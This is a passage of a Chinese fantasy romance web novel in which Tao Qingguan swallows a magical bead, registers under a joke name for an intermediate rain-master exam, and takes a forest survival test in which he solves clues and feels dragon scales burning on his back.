“协会解散时,我趁乱偷出来的。”苏沿没藏着掖着,开门见山道:“特管局的人答应我,会在尽量不伤害钱叔的前提下将人抓回来,但我不信任他们。” “用这个做交易,我想你把我安排进相关的调查任务中,当然我愿意接受监视,也会遵循指令行动。” 陶清观伸手去拿宴氿掌心里的珠子,这次对方没再拦着他,不知为什么,看到这颗珠子,他体内就好像有什么东西在躁动,催促他快点将珠子吞下。 “这件事你不该来找我,我没那么大权利。” 苏沿自嘲地笑笑,“我倒是想直接找你爷爷,可我根本没有见到对方的机会。” 毕竟是特管局的局长,哪是他这种人说见就能见的,所以他才会迂回着过来找陶清观。 第56章 第 56 章 宴氿:我对你…… 从别人口中听到爷爷见一面都难, 陶清观有种割裂感,大概是陶笠鹤不靠谱的形象太过深入人心,他完全想象不出对方威严的模样。 陶清观把玩着手中的珠子, 苏沿给他一种老实可靠的感觉, 不过就算他答应了也没什么用,只负责吃喝玩乐的富三代, 手里可没有实权。 他瞥向一旁的宴氿,问道:“你怎么说?” “东西挺好的,拿着。”宴氿强盗作风, 完全不管苏沿提出的条件,他慢条斯理地拆开餐具包装,用热水烫好后,放到陶清观面前。 宴氿漫不经心地说道:“以你的实力甩开那些监察的人并不难,何必走这些弯弯绕绕。” 苏沿那张棺材脸更冷了, 他眉尖压低,望着宴氿一言不发。 “哥哥……” 苏小钱沉不住气,他拽着苏沿的衣袖, 想开口又不敢说, 手下的布料被他揉出一道道褶皱。 苏沿吐出一口气,抬手揉了揉苏小钱的脑袋, 开口道:“特管局提供的住所很好, 小钱等暑假结束也会转入当地的初中,我不想和特管局闹僵。” “钱叔对我有恩, 我会尽量偿还, 但小钱不该再被牵扯进来。” 陶清观赞同地点头,“确实,他现在应该在家刷试卷, 需要我帮你买几份吗?” 苏小钱心梗,他瞪了陶清观一眼,“我才不要。” “我这是为你好。”陶清观笑得不怀好意,“不谈学习,母慈子孝,一谈学习,鸡飞狗跳,对你和你哥也适用,等你考倒数,看你哥收不收拾你。” “我就是考倒数第一名,我哥也不可能打我!”苏小钱一拍桌子,说得信誓旦旦,“我哥最宠我了。” 苏沿轻咳一声,他抬眸扫过去,沉声道:“倒数第一有点过了。” 苏小钱缩了缩脖子,在苏沿的眼神下,乖乖坐回位置上。 宴氿横插一脚,对陶清观道:“你考多少名,我都不会怪你。” 陶清观不知所云,他从小到大排名没掉出过年级前十,在学习上可从来没挨过骂。 苏沿摁住不安分的苏小钱,拉回正题,“所以,你是拒绝的意思吗?” 陶清观将手中的珠子放下,半透明的珠子映照出在场四人的神情,球形的外表将每一道身影扭曲,“你清楚我的情况,我的同意,你觉得有用吗?” 苏沿神色不变,“有。” 陶清观勾起唇角,“那行吧,我会帮你和爷爷说一声。” 苏沿深深看了陶清观一眼,开口道:“谢谢。” 宴氿趁着两人说话的功夫,提前帮陶清观盛了一碗汤在一旁凉着,等两人说话,他自然接过话头,“再不吃菜要凉了。” 陶清观闻言,拿起筷子,招呼苏小钱兄弟两开饭,“这家酒店挺有名的,都尝尝。” 苏小钱开始还有些拘谨,但发现宴氿完全没有搭理他们的意思,他又放松下来,一顿饭吃得还算不错。 吃完饭,苏沿带着苏小钱离开。 陶清观没走,他直接打电话给陶笠鹤,待那边接通,他开口就是扔下一颗雷,“爷爷,我替你收贿赂了。” 陶笠鹤:“!?” “小兔崽子,你是想整死我吗?收的谁的,是个什么东西?” 陶清观举起手中的珠子对准灯光,在灯光的映照下,珠子有几分晶莹剔透之感,“苏沿给我的,宴氿说是道灵,那应该就是吧。” 听到道灵两个字,陶笠鹤那边沉默了一会儿,“他的条件是什么?” “参加搜寻他口中那个钱叔的任务。”灯光看久了也有些难受,陶清观收起珠子,换了个坐姿,“怎么样?你能安排吗?” 陶笠鹤话语中透露着无奈,“你东西都拿了,我还能怎么办,他实力不错,走流程应该能把他塞进去。” “谢谢爷爷。”陶清观乖巧开口,“那东西我不用上交吧。” “自己留着。”陶笠鹤不放心地叮嘱,“你用的时候,龙王一定得在场,不许自己瞎折腾。” “放心放心,宴氿现在就在我旁边。” 陶清观敷衍了陶笠鹤两句,将电话挂断,他看向坐在一旁真皮沙发上泡茶的宴氿,问道:“这东西对我有用吗?” 他的天赋狗看了都摇头,要不是宴氿修改了契约,他到现在连灵都感应不到,如果说道灵的作用是女娲补天,那他这得盘古开天辟地,堪比大学生考试月复习。 宴氿不紧不慢地斟茶,似乎一切了然于胸,他轻抿一口杯中的茶,开口道:“不知道。” 陶清观嘴角一抽,真是理不直气也壮。 “珠子给我。”宴氿向陶清观伸出手,待拿到珠子后,他将其放在茶宠上,浇了一壶滚烫茶水下去,“先消个毒。” 这诡异的仪式感。 陶清观在宴氿旁边的沙发坐下,看着宴氿把消完毒的珠子放在小碟子里送到自己面前,不管从哪个角度看,珠子外面那层半透明的东西都不像能吃的样子。 他纠结着拿起碟子,不确定地问道:“就直接吃?” “嗯。”宴氿安抚道:“不会有事,道灵现在已经做不出来了,即使是我,手上也没有道灵。” 主要是这玩意对他没用,而龙又喜欢长得亮闪闪的东西,灰扑扑的道灵显然不在他的收集范围内。 陶清观问道:“是制作方法失传了?” “那倒不是。”宴氿风轻云淡道:“是部分制作材料被吃绝种了。” 陶清观:“……哦。” 虽然宴氿没说是被什么吃绝种的,但他莫名有种膝盖中箭的感觉。 陶清观将碟子放道唇边,体内那股渴望愈演愈烈,他本来以为自己要先做个心理准备,但几乎是珠子碰到唇瓣的那一刻,他就迫不及待的将珠子咽了下去。 咕咚一声,珠子划过食道,带着一丝凉意。 陶清观静坐了几分钟,什么感觉都没有,用起灵也和往常一样,他蹙起眉,“这玩意是不是真的对我没用。” 好浪费啊。 宴氿斜靠着沙发背,笑道:“不是已经起效果了。” 陶清观啊了一声,下一秒一滴眼泪滴在他的裤子上,留下深色的痕迹,他顿时就麻了,彻底麻了。 浪费他感情,陶清观抽了张纸擦眼泪,和他预想中一样,眼泪越擦越多。 “和你龙鳞一个效果?” “还是有区别的。”宴氿解释道:“道灵似乎增强的是你吸收灵的天赋,你现在流眼泪不是因为一次性灵补充多了,而是你的身体自发的在吸收灵。” “那我岂不是哭得停不下来。”陶清观痛苦面具又戴上了,这道灵真把他当日ben人整啊。 “没那么夸张。” 宴氿站起身,他走到陶清观身前,一手撑在对方沙发扶手上,身体前倾,“别忘了我们可以分享对方的能力。” 陶清观抹了把眼泪,“又要改契约?” “不用。” 宴氿望着泪眼朦胧的陶清观,目光逐渐幽深,隆起的喉结滚动,他偏过头,缓缓靠近,他的动作很慢,给足了陶清观躲开的机会。 但陶清观没有躲,氤氲雾气的眼眸如空山雨后的竹林,宴氿心跳止不住的加速,他忍不住去想,或许陶清观对他是有那么一点好感在,至少对方从未反感他的亲近。 柔软的唇瓣相触碰,宴氿小臂处青筋暴起,微凉的液体落在他的脸颊上,翻涌的波涛瞬间更加汹涌,他费尽所有心神,才忍耐着没有加深这个吻。 对于被亲,陶清观早有预料,他心底叹气,就没有体面一点的方法么,两大老爷们亲来亲去的实在有伤风雅。 不过泪水确实有在减少,他稍稍仰起头,配合宴氿的动作。 可几乎是他抬头的瞬间,宴氿猛地退开,神情是他从未见过的慌乱,陶清观愣了一下,问道:“怎么了吗?” “呃……没事。”宴氿岔开话题,“已经可以了,等你身体适应,我慢慢将这部分能力还回去。” “哦。” 陶清观看宴氿脸色不太对劲,开口道:“要是有什么后遗症你直接告诉我,我能承受住。” “放心,没有那种东西。”宴氿压下在心头乱撞的鹿群,脑子里不断回放陶清观仰头主动配合他的样子,所以果然是…… 鹿群们要压不住了,宴氿嘴角扬起一抹弧度,他清了下嗓子,指尖轻点沙发把手,“我——” 叮叮叮叮—— 一连五六条消息刷屏,铃声吸引陶清观的注意,他拿起手机,一看是陶笠鹤发来的,便直接点开消息列表,他还不忘宴氿,边看消息,边问道:“你刚刚想说什么?” 宴氿扯出一个虚伪的笑容,语气中咬牙切齿的意味难以掩盖:“没什么。” 他迟早要把这群碍事的家伙统统收拾一顿。 陶清观没多想,看清陶笠鹤发来的消息,他表情正经起来,“爷爷让我去参加这次中级雨师的考试。” 宴氿神色恹恹,“你不想去?” “不是。”陶清观看着后边的注意事项,幽幽道:“前面的笔试还好,可后边有一项为期三天的实践,你又不能一起参加,我的技能CD怎么办?” 宴氿略微思索,“我偷溜进去没人会发现。” 又是作弊么…… 陶清观捏了捏鼻根,这一次是考试,跟之前的继任仪式性质不一样,他还有点底线在,不太想采取宴氿的建议。 “算了,我再想想办法。” 陶清观一手抵着下巴,目光落在实践的考场上,是离他们这边很远的森林,前几个月一场大火席卷山林,纵使最后火焰灭去,可山林中也多出大片焦黑,如不和谐的音符,刺在心头。 修复工作总是漫长的,把考场定在那边,陶清观猜测是想让他们用灵帮助新生的树木生长。 想出这个法子的人一定很擅长资源回收,简直就是个周扒皮,连考生都不放过。 陶笠鹤最后发了张报名的表格给他,还让他不要用真名,说是为了公平,毕竟现在陶清观的名字,因为宴氿不少人都知道了,但长相却没多少人见过,至少来参加考试的人基本没见过,不过陶清观感觉对方就是不想陪自己丢脸。 臭老头子,明明知道他的情况,还给他出这种难题。 宴氿见陶清观的脸色变来变去,他出声安慰道:“等明天看看,说不定道灵其实起效果了,只是现在不明显,考试是什么时候?” “下周末,周五晚上走的话,我请一天半假就行。” 陶清观算着自己所剩无几的假期,再请下去他的年假都得赔进去了,脑阔疼,各种意义上脑阔都好疼。 他望向宴氿,平静之中带着一点疯狂,“你说,我用一天时间,把那边淹了,算不算考试过关?” 还不用请假,一举双得。 第57章 第 57 章 陶囡囡,宴娇娇 “我不清楚比赛流程, 如果和继任仪式一样,你可以试试。” 宴氿帮陶清观分析起来,“森林中灵的浓度比这边要高很多, 你赶在其他人之前动手, 没有干扰的情况下,有一定几率能淹掉那边, 不过如果那边附近有海或湖泊会更简单,小范围的海啸比强降雨容易……” 陶清观听完赶来海啸的原理,见宴氿兴致勃勃想给他演练一遍, 陶清观连忙制止,“我是去参加考试的,不是上演无人生还。” 宴氿有些惋惜,他还想把陶清观拐去海里玩一圈。 陶清观大致看完陶笠鹤发来的一堆东西,无奈地叹了口气, “那三天分成了好几项测试,一天速通行不通,到时再说吧。” 巴山楚水凄凉地, 这事他也无能为力, 考不过……那就下次再考呗。 陶清观挺乐观的,笔试方面他肯定没问题, 实践分能拿多少是多少。 考虑到要在外面待三天, 陶清观离开酒店后直奔超市,准备买些日用品带着。 当然, 主要买的还是零食, 他从未去过森林,但听过森林浴这个名词,沐浴在大自然中, 远离世俗的纷争,吃着美味的零食,快哉。 宴氿见陶清观拿了半推车吃的,路过野炊工具那边看都不看一眼,他问道:“你不买帐篷吗?我记得家里应该没有。” “啊?”陶清观反问道:“那边不提供住处吗?” 宴氿沉默了片刻,“据我所知,是不提供,并且三餐也是供给压缩饼干,想吃好的得自己带。” 陶清观脑袋上缓缓冒出一个问号,“为什么?考核内容再怎么偏也不该和野外生存扯上关系吧。” “这个……”宴氿有一瞬间心虚,“特管局前不久决定加强雨师身体素质,所以对所有考核都进行了改革,增加了体能方面的项目。” 陶清观眼睛瞪圆,大为不解,“为什么!?” 法师和战士之间是有代沟的,凭什么脆皮法师还要锻炼肉ti,更何况一上来就是地狱难度,这不妥妥为难人,陶清观眉毛都要打结了,他是想外出旅游三天,不是想外出当三天野人。 宴氿目光游移,绝口不提自己,“大概是特管局那边想提高整体水平。” 实际是他在候选人考核时,让陶笠鹤增加体能训练,结果特管局那边觉得很有道理,把其他考核也都加上了,天知道他当时只是想让陶清观出去跑跑,自己能睡个好觉。 “站着说话不腰疼。”陶清观忿忿道:“哪个王八蛋想出来的馊主意,简直和发明调休的人一样歹毒。” 陶清观调转购物车的方向,往卖帐篷的方向走去,他嘴里碎碎念道:“你知道发明调休的人是怎么死的吗?” 宴氿配合着问道:“怎么死的?” 陶清观阴森森地开口:“过劳死。” 宴氿背后一凉,总觉得陶清观这话别有深意,但陶清观没再细讲,他冷哼一声,上前去挑选需要的东西。 陶清观真觉得想出这法子的人脑子有病,森林环境是好,但蚊虫肯定少不了,晚上睡野外,还不得被虫子抬走,就算有帐篷,可怎么携带也成问题,若是考核过程中需要移动,他不得背着帐篷跑三天。 他一边往购物车里塞东西,一边思考这个问题,但要提升生活质量,他要背的东西就越多,陶清观不死心,问宴氿道:“我能开车进去考试吗?” 携带什么行李,也算一个小考核,不过有点门路都能打听到规定,宴氿正愁没办法补救,听到陶清观的话,他立即找人问了一遍。 收到回复,宴氿开口道:“森林里没法开车,而且个人所携带的东西,必须由本人背进去,过程中不许借助任何外力,包括灵,一公里的路,背辆汽车不太现实。” 陶清观:不嘻嘻。 话虽如此,陶清观还是把自己觉得有用的东西都买了一遍,有些买不到的,他就在网上下单,五天时间足够快递发来。 实践考试已经被陶清观更名为野外生存。 晚上,陶清观盘着腿,捣鼓手机上的报名表。 没填几个字,他扭头去问宴氿:“我隶属哪个特管局?” “总部。” “邮编多少?” “324000” “初级证书编号呢?” 宴氿向陶清观伸出手,“手机给我。” “哦。” 陶清观干脆地将手机交出去,他拿过桌上的半个西瓜,愉快地挖起来,一勺西瓜塞进嘴里,陶清观余光瞥见宴氿放在桌上的手机,宴氿没熄屏,手机屏幕上也显现着一张报名表格。 他咽下西瓜,问道:“你也要参加考核?” “嗯。”宴氿低头帮陶清观填数据,“不过我是作为安全员。” 特管局再怎么心大,也不可能放一群毫无野外生存经验的小白,在森林里游荡三天,安全员就是负责考生安全的存在。 陶清观咬着勺子,思索了一下,“以你的身份去干这种活不会引起麻烦吗?” 本来看管一群考生就够了,现在还得供着一个龙王,真亏特管局的人会答应。 “不然别人知道就行。”宴氿不以为意,他将手机交还给陶清观,“可以了。” 陶清观接过一看,宴氿已经帮他提交了,对方办事,他放心,就是这考生姓名一栏,陶囡囡三个字万众瞩目。 他身子僵住,不敢自信地反复看了好几遍,最后他啪一下放下手机,怒气冲冲地瞪向宴氿,“你给我填了什么鬼名字?” “真名用不了,我顺手……” “这是顺手的问题吗?”陶清观打断宴氿,“你快给我改一个。” 宴氿声音弱下来,“提交后没法更改。” 陶清观深吸一口气,忍、忍不住扑向宴氿,气得牙痒痒的,他揪住宴氿的衣领,用力摇着,“你填名字的时候,自己就没笑出声吗?” 宴氿:“我觉得挺可爱的。” 陶清观冷笑,“可可爱爱,没有脑袋是吧。” 他一把抢过宴氿放在桌上的手机,啪啪输入一行字,然后扫了一眼没有空的,陶清观果断按下提交键。 陶清观哼了一声,把手机扔给宴氿,坐回自己的位置上,接着吃瓜。 宴氿点了两下屏幕,看着最上头‘宴娇娇’三个字,他哑然失笑。 还挺记仇。 报名的事告一段落,之后几天又是普普通通的上班,外加接受陆满满的轮番质问。 陶清观一开始就没想过要瞒陆满满,这不是他说了,陆满满没信,但这个解释显然没能蒙混过关。 面对陆满满的喋喋不休,陶清观举手投降。 “等我下周请假回来,我请你吃好吃的,周边随便挑。” 陆满满勉强满意,他问道:“你又请假干什么?出去旅游?” “不,是去当野人。”陶清观表情沉痛,“要在荒林里上演绝地求生,靠自己活过三天。” 陆满满一脸震惊,“为什么?” 陶清观长叹一口气,抬手拍了拍陆满满的肩膀,意味深长道:“世子之争,素来如此,不必为我担心。” 陆满满神情复杂,这话从陶清观嘴里说出来,怎么就那么不对味呢,他记得陶清观应该是独生子,哪里的世子之争,但病人进来了,让他错失继续追问的机会。 陶清观在白天当牛马,晚上当学牲的愉快生活下,终于迎来实践考试的日子。 这一次,特管局终于有钱给他们每个人订一张机票,陶清观悬着的心放下。 还好还好,从他们这开车到考核地点得不眠不休开一天多,要真坐车过去,陶清观就要担心自己的屁股会不会碎在路上。 晚上的飞机,小睡一觉,醒来正好上接客的大巴。 陶清观打着哈欠上车,他们的行李被统一运走,他现在就带了个小背包,里面装着手机耳机充电宝。 他随便找了个靠窗的位置坐下,看着窗外雾隐朦胧等景色,陶清观微微失神,说起来,自从和宴氿契约后,他们两就没怎么分开过,像今天这样有三天见不到面还是第一次。 虽然宴氿应聘了安全员,但安全员负责的区域是随机的,森林那么大,而安全员在非必要时刻又不能现身,他们两早知道考核结束都见不上面,也不是不可能。 陶清观靠在窗边,一手支着下颌,心中忽然有种淡淡的茫然若失之感,不待他细细品尝,一道声音打断他的思绪。 “你是……”陈年安捂住嘴,将剩下的话咽回去,他双眼亮晶晶,用气音说道:“师父!” 听到这两个字,陶清观有印象了,这不是两次放跑逃犯,立志想考中级雨师,还是陈丰明侄子的陈年安。 陶清观冲陈年安点了下头,算是问好。 比起陶清观的冷淡,陈年安就热情多了,他在陶清观旁边的位置坐下,熟稔地套近乎,“叔叔都跟我说了,您好厉害。” 陶清观听得浑身不自在,“用你就行。” “好的。”陈年安往陶清观那边凑,说悄悄话,“我听说这次有个大人物的孩子会参加考核,你放心,我肯定不会暴露你的身份。” 居然已经传到这种离谱的地步,陶清观脑阔又疼了。 他捏了下鼻根,对这个话题敬谢不敏,“别再提起这件事。” 陈年安连连点头,他的性子就算陶清观不搭理他,他也能自己说上半天,“师父,你带了多少东西来?我特地做了体能训练,到时候你要是背不动,可以把东西分我点。” “没事,我拿的下。” 坐在前排的,长着雀斑的青年大概是听到陶清观和陈年安的对话,用附近的人都能听见的声音说道:“在进森林前,大概有一公里的路,需要我们背着行李徒步,期间不能借助何外力,所以行李还是精简一点好。” 他自信满满,末了却又加上一句,“不过我这也是道听途说,不一定准。” 在场的人神色各异,有人多看那人几眼,和身旁的同伴窃窃私语,众人心中都有所猜测,陈年安知道的消息早已在这些参加考核的人中传开。 对此,一部分人事不关己高高挂起,但不少人存着巴结的心思,他们大多是没什么背景的普通存在,在这一行底蕴十分重要,有一个经验丰富的领路人,能少走十年弯路。 能说出隐藏考核项目的青年显然成了他们的关注对象。 车厢内热闹起来,陶清观又打了个哈欠,对周围的说话声毫不关心,他问陈年安道:“什么时候才能到目的地,我有点饿。” 失策,不该把吃的全放进行李里的。 第58章 第 58 章 龙鳞再现 陈年安摇摇头, “不知道,但应该快了。” 前面长着雀斑的青年又插进来,“路程大概半小时, 你没带吃的?考核过程中特管局只提供的压缩饼干, 要是没带,你这三天难熬了。” 雀斑脸说话有种高高在上的感觉, 不过对方回答了自己的问题,陶清观礼貌地回了一声谢谢。 然后,他继续靠着椅背闭目养神, 他在心底感慨,年轻真好,舟车劳顿一晚上还活力四射。 雀斑脸不满意陶清观的反应,但其他人时不时扫来的目光大大满足他的虚荣心,见陶清观没有交流的意思, 他对着陈年安说道:“我好像见过你,你是陈队长的儿子?” 陈年安老实回答,“那是我叔叔。” “我叫……”雀斑脸停顿了一下, 尔后扬起嘴角, “江彦彦,你叫什么名字?” 敷衍的名字, 说出口就让人怀疑其中的真假, 陈年安没想那么多,回答道:“我叫陈年安。” 江彦彦顺势和陈年安聊起来, 他们两一个在陶清观旁边, 一个在前面的旁边,陶清观想装听不见都难。 陶清观半眯着眼眸,视线扫过江彦彦的脸, 在脑子中搜索这号人物,最后得出的结论是没印象,八成是没见过。 江彦彦愿意当出头鸟,陶清观乐得清净,他合上眼,在摇摇晃晃中睡着了。 再次醒来,车已经到目的地了,一位身穿制服的男人站在车前讲述注意事项,陶清观只听到最后两句话。 禁止明火,禁止乱扔垃圾。 陶清观在心底嘿嘿笑着,他就猜到没法点火,特地带了自热包,这样在外面也能吃热乎的。 见车上的人陆续下车,陶清观站起身活动了下四肢,他目光沉沉,因为接下来有一场硬仗等着他。 陶清观走在陈年安后边,先下车的人在取自己的行李,规则果然和江彦彦说的一样,每个人需要背着行李徒步一公里。 因此不少人在原地整理行李,尽可能减少行李的重量,江彦彦在一众埋着头的人群中鹤立鸡群,他背着一个登山包,装备精简干练,吸引不少目光。 陈年安大包拎小包的,他站在陶清观身旁,开口道:“你的行李在哪?我还能拿一点,等到森林,我们找个地方扎营,把行李先放下就轻松了。” 江彦彦听到陈年安的话,嗤笑一声,“又不是出来度假的,怎么可能呆在一个地方不动,我劝你少带点东西。” 站在边缘的考官眉心微蹙,和身旁的同事咬耳朵,“这谁家的?能看的几个乐子都给他抖光了。” 同事面露嫌弃,对朋友的恶趣味不敢苟同,“你管他谁家的,他又没犯规。” 考官嘁了一声,他清了下嗓子,高声道:“把自己的东西带好,再过五分钟出发。” 他话音落下,在场的人纷纷加快动作,陈年安也匆忙整理自己的东西,他手里拿着两样东西纠结着该留哪个。 陶清观不慌不忙地走到自己的行李前,一个差不多一米高的背包,快有他两个宽,塞得鼓鼓囊囊,包旁边还挂着好几个袋子。 他两手拎着带子,提……没提动,陶清观忽然理解宴氿帮他拿包时,为什么会那副表情了,这包死沉死沉的。 陈年安看得欲言又止,他委婉地劝道:“这你要不放点东西下来,反正最后回程的时候东西会还回来。” “没事。”陶清观半蹲下身子,将包背好,双腿用力,还是没站起来,他对陈年安道:“拜托你帮我托一下。” 陈年安:“……好。” 费了九牛二虎之力,陶清观总算将包背起来,他的身躯在背包的映衬下显得瘦瘦小小,每走一步,身上的包都摇摇欲坠。 一旁的考官都看不下去了,“那边的,放点东西下来。” 陶清观:“我可以。” 他咬牙往前走,区区一公里,熬到头就是胜利。 一路上,陶清观一言不发,主要是他没力气说话,他汗如雨下,埋头往前走,这股倔劲让同行的人纷纷侧目。 大部分人都觉得陶清观脑子不好使,一公里能熬下来,可接下来还有三天,更何况森林里不许丢垃圾,也就是说进了森林想减重就难了,以陶清观这个背法,肯定撑不到考试结束。 陈年安陪着陶清观走在队伍最后,他想帮忙,可有教官盯着他找不到机会搭把手,只能跟着干着急。 陶清观瞥了眼陈年安,心底嘀咕,怎么瞧着比陆满满还缺心眼,这个念头一晃而过,甜蜜的负担压得他直不起腰。 这次是当上真牛马了。 好不容易走到森林入口,陶清观把包往地上一放,靠在包上擦汗,他长吁一口气,揉了揉酸痛的肩膀,差点把半条命搭进去。 考官望着陶清观直皱眉,眼底写满不赞同,在他看来陶清观就是自讨苦吃,他收回视线,对着原地休息的众人说道。 “我知道不少人心存侥幸,想着进森林后可以控风运行李,但别忘记你们还有考试,灵就那么多,用在什么地方你们自己考虑。” 说着,考官的目光偏向陶清观,想看看对方懊恼的反应,但头一转,只看到个盘坐在地的背影,以及一辆正在安装的山地自行车。 教官:“……?” 陶清观把螺丝拧紧,车子他特地改良了一下,前后加装了盛放物品的铁框,刚好装下他那一堆乱七八糟的东西。 组装好后,陶清观上去骑了两步,稳稳当当,甚至还能再挂点东西,他满意地点头。 懒惰,人类进步的最大动力。 陶清观两腿撑在地上,对着看傻眼的陈年安道:“框里还有位置,把你手上拿的发进去吧。” 陈年安脑袋宕机了两秒才成功运转,“谢谢,师父你好厉害。” “主要是钱到位。” 山地车可不便宜,更别说改装的费用。 陶清观摸了两下车把,心道,不能浪费,下次约人出去野营。 “你!” 教官指着陶清观,眉心皱得能夹死苍蝇。 陶清观歪脑袋,“我怎么了?规定上没写不能带交通工具吧。” 教官哑口无言,确实没写,谁能想到会有人背折叠自行车过来考试,他哼了一声,没再追究,转而对众人说道:“森林里有36处需要用灵滋养的地方,这36处需要你们自己去寻找,当然,我们也会提供一些线索,线索藏在森林中。” “无论你们用什么手段,只要不伤害其他考生都不算违规,你们胸前的铭牌会记录分数,同时也会提示违规,若是遇到生命危险,捏碎名牌,藏在暗处的安全员就会出手,但这也代表放弃考试,所以各位慎重选择。” “分数在前二十的人将通过考试,现在,考试正式开始,希望三天后大家依旧安然无恙。” 教官一行人走上专用的大巴车,离开众人的视野,考生们三三两两地走进森林,原本热闹的空地顿时冷清起来。 陶清观坐在自行车上,托腮思考,一天内跑完36处根本不现实,他能感觉自己对灵的感应逐渐削弱,最多今天到晚,应该就完全感应不到。 滋养树木和唤雨固灵不同,需要和树木有接触,可一片森林的面积大得离谱,别说一天,三天都不一定能跑完全部的点。 陶清观一番斟酌,选择走下车,支起锅,先吃个午饭。 正好没进森林,还能用火,他点燃火堆,将牛油放进锅里,再倒入纯净水,霸道的香味霎时间弥漫开来。 这对还没走的考生宛如上刑,在场咽口水的声音接连不断。 陈年安也咽了口唾沫,陶清观注意到后,招呼对方一起吃,“我带的多,你也来吃点。” 火锅实在太香了,陈年安点点头,放下行李,开口道:“我再去捡点柴火来。” 陶清观嗯了一声,将各种食材放进去,用筷子搅了两下,香味更浓了。 江彦彦被勾得肚子咕咕叫,他拉不下脸去蹭饭,转身想走,就在这时,一脸兴奋的陈年安跑回来,兴冲冲地对陶清观说道。 “师父,我找到线索了!” 空地上剩下的五六人表情各异,江彦彦停下脚步,调转方向。 陶清观将筷子放下,伸手接过陈年安手中的卡片,他还没看,身旁就多了一人。 江彦彦开口道:“36位点能重复刷分,我们合作,通过考试的概率更高。” 陶清观瞥了眼江彦彦没有回答,他问陈年安,“你怎么想?” 陈年安挠挠头,“我只要能通过考试就行。” 找到的人不反对,陶清观便将卡片放在地上,巴掌大的卡片上写着一行字。 ‘十二生肖中属阳两种生肖。’ 旁边站着的两人也围过来,一群人盯着卡片,恨不得盯出个花来。 江彦彦分析道:“各地分化的标准不同,但都是阴阳各六个。” 陶清观:嚼嚼嚼嚼。 牛肚好吃,肥牛卷好吃,蟹棒也好吃。 有人说:“究竟是哪两个?” 陶清观:嚼嚼嚼嚼。 江彦彦:“很难说,而且也无法确定方位。” 陶清观&陈年安:嚼嚼嚼嚼。 香味往鼻子里钻,江彦彦忍无可忍,“你们两别光顾着吃,快想想线索。” 陶清观咬着牛肉丸,嘶了一下,烫到嘴了,他打开身旁的肥宅快乐水,熟练给自己加冰,然后噘上一口,面对江彦彦的指责,他淡淡开口:“鸡和牛。” 他果断的语气,让江彦彦愣了一下,“为什么?” 陶清观捞着锅里的菜,回答道:“你把这两个字用AABB形式读一遍。” 江彦彦下意识读出来:“鸡ji牛牛。” 陶清观向江彦彦竖起大拇指。 在场的人懵了好几秒,终于有人反应过来,他草了一声,望着陶清观说不出话来。 怎么不阳刚,这两个可太阳刚了,鸡ji牛牛的。 江彦彦是最后反应过来的,他面色红了又青,青了又紫,他严重怀疑陶清观是故意引导他说出那个词。 他刮了陶清观一眼,大步离开。 那两人留着尴尬,消息已经拿到,他们也转身走了。 坐在陶清观对面的陈年安,看看自己下半身。又望望远处的森林,脸上写满迷茫,“师父……是要看我捡这张卡片时,鸡ji的指向吗?” 陶清观:“咳咳咳咳咳……” 他被呛到,辣油直冲天灵盖,眼泪飙出来,陶清观连忙灌几口可乐压惊,对陈年安是刮目相看。 本以为陈年安胆小怕事,结果对方是最虎的,有话是真说。 “我蒙他们的。”怕陈年安再说出什么惊为天人的话,陶清观解释道:“一般属阳是指,鼠虎龙马猴狗,但现在要两个,又得指明方向,结合最简单指明方向的四神兽,那就是龙虎。” “青龙是东,白虎是西,从你捡到卡片的位置来看,西边出考场,所以答案是东。” 陈年安啪啪鼓掌,配合着崇拜的目光赞叹道:“好厉害,师父你平时一定看很多书吧,感觉你什么都知道。” “没。”陶清观摆摆手,“主要是考公题看得多。” 陈年安眨眨眼,没听懂。 陶清观拍了下陈年安的肩膀,开口道:“你回去可以看看。” “可通过这次考试,我就有编制了。” 陶清观啧啧两声,这话要是让陆满满听见,对方又要心理不平衡了。 “行了,快吃。” “哦。” 等饭吃得差不多,陶清观将剩下的用打包盒装好,陈年安自觉洗锅洗碗,收拾好后,他们两沿着东方走去。 陶清观骑车,陈年安跑,行李都在车上,经过体能训练的陈年安跑得并不吃力,大概过了十来分钟,他们看到一块明黄色的标示牌,目的地到了。 停下车,陶清观梭巡四周,地上留有几处焦黑的痕迹,但绿意已将其覆盖,森林的生命力顽强得惊人。 陶清观走到树干前,抬手抚摸树皮,粗粝的手感掠过掌下,他缓缓将体内的灵注入其中,中途胸前的铭牌亮起,分数从零变为一,陶清观动作一顿,但他没有松手,而是将更多的灵汇入其中。 同样拿到分数的陈年安脸都白了,声音也变得虚弱,“需要的灵好多,我的灵最多只够三处位点。” 陶清观若有所思,怪不得那个教官让他们省着用灵,原来是因为这个,一般来说灵恢复的时间在两小时左右,但中间要赶路,恢复速度就大打折扣。 这哪是考试,分明是拉着他们打黑工,世道如此,人心不古啊。 “师父你好强。”陈年安称职地做着小弟的工作,“用了这么多灵,竟然还游刃有余。” 陶清观含糊地回答:“还行。” 吃了道灵后,他吸收灵的能力成倍增长,经过这些天的熟悉,他已经能熟练掌控这份能力,就算把体内的灵用尽,他恢复不过分分钟的事。 雨师就储存灵和感应灵两个数值最关键,他其中一个点满了,另一个倒是动一动啊! 总不能因为他爱吃,天赋就全点在吃上,这辈子真是亏待了谁,都没亏待嘴,他这张嘴都说下辈子还跟他。 陶清观幽幽叹气,“找下一处。” 一个下午,陶清观二人一共找到六处位点,陈年安在第四处时就不行了,剩下两处是陶清观自己找的。 将位点标在地图上,陶清观骑着车往回走,陈年安承担了扎营的工作,陶清观回来时,两顶帐篷都扎好了。 一大一小,不用想都知道哪个是陶清观带的。 陶清观把手中的地图递给陈年安,开口道:“辛苦了,等晚上恢复好,你可以把这两个点补掉。” 陈年安顿时感动得一塌糊涂,“谢谢师父!” 陶清观摆摆手,表示没事。 他累得够呛,吃了点东西后,就回帐篷里躺着,新买的睡袋软软绵绵,陶清观不知不觉间睡去。 但很快后背的灼烧感将陶清观唤醒,他咬紧牙关,忍住到嘴边的shen yin声,陶清观喘着粗气坐起身,他摸向后背,触碰到好几片鳞片状的硬物。 陶清观眉心皱起,下唇被他咬得泛白,体内翻江倒海,眼前浮现一块块黑斑,呼吸在此刻成了奢求,陶清观张开嘴想叫人,却发不出任何声音。 就在他以为自己命不久矣时,灼烧感减退,陶清观面色苍白如纸,豆大的汗珠沿着下颌滚落,他抹了把额头的汗,生出一抹劫后余生之感。 陶清观坐在地上等待体力恢复,他颤颤巍巍地抬起手,一股不知名的力量在体内涌动,原本在他感知内已经变得模糊的灵,在这一刻又变得清晰起来。 他的技能CD自己刷新了!? 第59章 第 59 章 宴氿:有没有想我? 陶清观心底惊疑不定, 怕是自己的错觉,他再三确认,可得到的结果全都一样, 